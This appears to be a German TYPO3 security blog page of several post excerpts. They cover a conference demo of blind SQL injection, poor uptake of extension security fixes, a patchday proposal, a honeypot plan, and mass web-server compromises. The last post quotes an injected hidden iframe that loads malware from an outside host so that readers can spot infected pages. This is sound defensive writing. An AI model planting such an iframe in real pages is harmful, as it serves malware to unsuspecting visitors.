Immer wieder wird betont, wie wichtig das Sicherheitsbewusstsein der Programierer ist. Schon auf früheren T3CON’s gab es daher sowohl Vorträge als auch Tutorials, die zum einen Sicherheitsprobleme wie Cross Site Scripting (XSS), SQL Injection oder Remote File Inclusion erklärten, zum anderen auch zeigten, wie Entwickler solche Lücken vermeiden können.

Auch Lars Houmark und Henning Pingel taten das in ihrem heutigen Vortrag, gingen aber noch einen Schritt weiter: Sehr anschaulich demonstrierte Lars, wie er scriptgestützt eine beliebige SQL Injection Schwachstelle ausnutzen kann (per “Blind SQL Injection”) und erlangte auf dieser Basis in kürzester Zeit Admin-Zugriff auf das angegriffene System. (more…)

Ich habe mir gerade mal die Download-Zahlen zu den Fixes der jüngsten schwerwiegenden Sicherheitsprobleme angeschaut - und war ehrlich gesagt etwas überrascht, und zwar im negativen Sinne. Ein Beispiel: “ftpbrowser” wurde insgesamt über 4500 mal aus dem TER heruntergeladen - der zugehörige Security Fix bis heute (10 Tage nach dem Bulletin) aber nicht mal 100 mal! Und “fechangepassword” sowie “civserv” weisen ähnlich schlechte Raten auf.

(more…)

Angesichts der gegenwärtig hohen Frequenz, mit der das TYPO3 Security Team Problemmeldungen zu Dritt-Extensions herausgibt, ist bei uns gerade die Frage aufgetaucht, wie man die Wahrnehmung und die administrative Umsetzung erleichtern kann. Eine Idee dazu (neben den ohnehin im Raume stehenden Überlegungen zur Automatisierung) ist die Einführung eines “Patchday”, also eines festen periodischen Termins, zu dem Fixes veröffentlicht werden (von etwaigen Zero-Day-Exploits, also bereits aktiv ausgenutzten, einmal abgesehen.)

Was haltet ihr davon?

Hallo allerseits! Wie schon angekündigt, möchten wir die gegenwärtigen und künftigen Hackerangriffe besser verstehen und zu diesem Zweck mit einen (perspektivisch: mehrere) Honeypot aufsetzen.

(more…)

Was wir gegenwärtig erleben, erreicht tatsächlich neue Dimensionen: Server werden - vermutlich zentral gesteuert - automatisiert massenhaft auf bekannt Lücken gescannt und gehackt. Und das nicht primär, um z.B. vertrauliche Daten vom Server zu gewinnen oder die Website zu verunstalten, sondern um als nächstes massenhaft Endbenutzer-PCs anzugreifen. Ein logischer nächster Schritt… leider. Was dahintersteht:

(more…)

[A translated version of this article is available on the official TYPO3 Blog page]

Schon seit einiger Zeit wird von wiederkehrenden Angriffen auf Webserver berichtet, so etwa in den Pressemeldungen “Groß angelegter Angriff auf Web-Anwender im Gange”, “Weitere Details zu Web-Attack-Toolkit MPack” “Schneeball-Effekt: nur ein anfälliges PHP-Script genügt” und vielen anderen Quellen. In diesen Angriffen werden - zumindest teilweise automatisiert - verschiedene Wege ausgenutzt, um Kontrolle über die Webserver zu erlangen.

Dies hat nun auch TYPO3 (und andere CMS-Systeme) erreicht: Einige Berichte zu solchen Vorkommnissen waren in Foren zu lesen, andere wurden diskret dem TYPO3 Security Team gemeldet. In diesem Artikel möchte ich vorstellen, was davon von allgemeinem Interesse ist.

“Woran kann ich erkennen, ob mein System betroffen ist?”

Das “Hacken” der Systeme wird momentan offenbar vor allem ausgenutzt, um kleine HTML “Inline-Frames” (iFrames) im Seiteninhalt zu verankern. Wenn ich also als ahnungsloser Endbenutzer eine betroffenen Webseite besuche, sieht diese möglicherweise ganz normal aus - allerdings wird unbemerkt zusätzlicher Inhalt von einem fremden Server geladen. Dies kann Schadsoftware aller Art sein (die ihrerseits z.B. neue Javascript- oder Windows-Lücken ausnutzt.)

Die gehackten Systeme werden also als zentral gesteuerte “Malware-Schleuder” verwendet. (ABER: Dies kann sich schon morgen ändern! Wenn die Hacker sich überlegen, die betroffenen Server anderweitig zu mißbrauchen oder gar zu zerstören, werden sie das tun können.) Links zu weiteren Analysen finden sich z.B. im o.g. Heise-Artikel.

Bleiben wir bei den iFrame-Attacken. Wie sehen diese nun konkret aus? Das Prinzip ist klar: Im Seitenquelltext findet sich die Einbindung eines iFrame, z.B. in der einfachsten Schreibweise:
<iframe src=http://www.alexa-rank.info/libraries/iframe.php
?u=a4" style="display:none"></iframe>

Doch die Hacker (oder sogar nur “der Hacker”?) haben inzwischen viele andere Varianten hinterlassen, die verschleiern sollen, was vor sich geht. (more…)